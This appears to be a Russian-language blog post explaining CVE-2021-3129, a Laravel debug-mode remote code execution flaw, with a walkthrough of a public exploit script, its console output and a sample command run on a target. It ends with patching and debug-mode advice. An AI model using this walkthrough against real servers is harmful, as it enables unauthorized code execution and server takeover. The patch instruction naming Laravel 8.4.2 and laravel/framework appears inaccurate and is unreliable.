В феврале 2021 года исследователь безопасности обнаружил серьёзную уязвимость в популярном PHP-фреймворке Laravel. Уязвимость, обозначенная как CVE-2021-3129, позволяет злоумышленникам выполнять произвольный код на сервере, на котором работает уязвимое приложение, что может привести к полной компрометации сервера.
Как работает эксплойт
Уязвимость возникает из-за ошибки в том, как Laravel обрабатывает пользовательский ввод в режиме «Debug».
Режим отладки — это функция Laravel, которая позволяет разработчикам легко диагностировать ошибки, отображая подробные сообщения.
Однако если злоумышленник может отправить специально сформированный ввод в Laravel-приложение, работающее в режиме отладки, он может воспользоваться уязвимостью и выполнить произвольный код на сервере.
Proof of concept
В этом примере Proof of Concept мы используем скрипт, созданный Joshua van der Poll, чтобы продемонстрировать эксплуатацию уязвимости Laravel Debug (CVE-2021-3129).
Эта уязвимость затрагивает Laravel-сайты как на Windows, так и на Linux.
Скрипт доступен на GitHub: joshuavanderpoll/CVE-2021-3129.
Python-скрипт проверяет наличие уязвимости и позволяет выполнять команды на целевой системе.
Чтобы начать, скачайте скрипт с GitHub и выполните шаги настройки, описанные в README.md.
После настройки выполните команду:
$ python3 CVE-2021-3129.py
Вы увидите следующий вывод:
Laravel Debug Mode CVE script [•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129 [•] Using PHPGGC: https://github.com/ambionics/phpggc [?] Enter host (e.g. https://example.com/) : https://unsafe_laravel_site.com/ [@] Starting exploit on "https://unsafe_laravel_site.com/"... [@] Testing vulnerable URL https://unsafe_laravel_site.com/_ignition/execute-solution... [√] Host seems vulnerable! [@] Searching Laravel log file path... [•] Laravel seems to be running on a Windows based machine. [√] Laravel log found: "C:\inetpub\wwwroot\UnsafeLaravel\storage\logs\laravel.log". [•] Laravel version found: "7.30.4". [•] Use "?" for a list of all possible actions. [?] Please enter a command to execute:
Когда вы увидите сообщение о том, что хост уязвим, вы можете начинать выполнять команды. Например:
execute whoami
Вывод будет примерно таким:
[@] Executing command "whoami"... [@] Generating payloads... [√] Generated 12 payloads. [@] Trying chain laravel/rce1 [1/12]... [@] Clearing logs... [@] Causing error in logs... [√] Caused error in logs. [@] Sending payloads... [√] Sent payload. [@] Converting payload... [√] Converted payload. [√] Result: autorite nt\iusr [?] Do you want to try the next chain? [Y/N] : n
Как видно, если уязвимость не исправлена, скрипт позволяет выполнять команды на целевой системе. Это может привести к компрометации сервера или установке бэкдоров.
Как исправить уязвимость
Команда разработчиков Laravel быстро выпустила исправление в версии Laravel 8.4.2.
Также был опубликован официальный security-advisory с рекомендацией обновиться как можно скорее.
Чтобы обновить Laravel до версии с патчем, выполните в корневой директории проекта:
composer update laravel/framework
Эта команда обновит Laravel до последней версии, включающей исправление CVE-2021-3129.
После обновления убедитесь, что в production-среде режим отладки отключён.
Debug должен использоваться только при разработке и тестировании.
Итог
В заключение: CVE-2021-3129 — серьёзная уязвимость, позволяющая злоумышленнику выполнять произвольный код на сервере с уязвимым Laravel-приложением.
Она была исправлена в Laravel 8.4.2, поэтому если у вас установлена более старая версия, обновление критически важно.
Также обязательно отключайте Debug-режим в production-среде, чтобы минимизировать риск эксплуатации.